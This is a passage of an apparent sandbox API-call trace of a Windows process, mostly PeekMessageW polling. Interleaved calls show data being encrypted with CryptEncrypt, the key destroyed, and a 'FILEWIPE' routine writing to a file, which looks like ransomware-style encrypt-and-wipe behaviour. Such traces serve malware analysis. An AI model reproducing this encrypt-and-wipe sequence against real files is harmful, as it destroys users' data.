wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.830] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.831] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.831] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.831] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.831] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x11b7a, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x11b80) returned 1 [0025.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.832] CharLowerBuffW (in: lpsz="byte[72577]", cchLength=0xb | out: lpsz="byte[72577]") returned 0xb [0025.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.834] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.835] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.835] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43af2e0*, pdwDataLen=0xe8f3dfdf68*=0x11b7a, dwBufLen=0x11b80 | out: pbData=0xe8f43af2e0*, pdwDataLen=0xe8f3dfdf68*=0x11b80) returned 1 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.835] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.835] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.835] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.842] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.842] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.842] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.842] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.842] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.842] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0025.842] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.842] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.842] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.842] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.842] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.842] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.842] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.842] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.842] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.842] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.842] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.842] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.843] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.843] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.843] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.843] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.843] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.843] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.843] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.843] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.843] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.845] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.846] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.846] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.846] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.846] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.846] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.846] CharLowerBuffW (in: lpsz="byte[72570]", cchLength=0xb | out: lpsz="byte[72570]") returned 0xb [0025.847] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.848] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.848] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.848] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.848] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.849] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.849] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.849] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.849] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.849] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.849] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.849] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.849] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.849] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.849] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.849] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.849] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.849] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.849] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.849] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.850] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.850] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.850] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.850] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.850] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.850] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.850] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.850] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.851] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.851] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5662) returned 1 [0025.851] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.851] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.851] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.851] 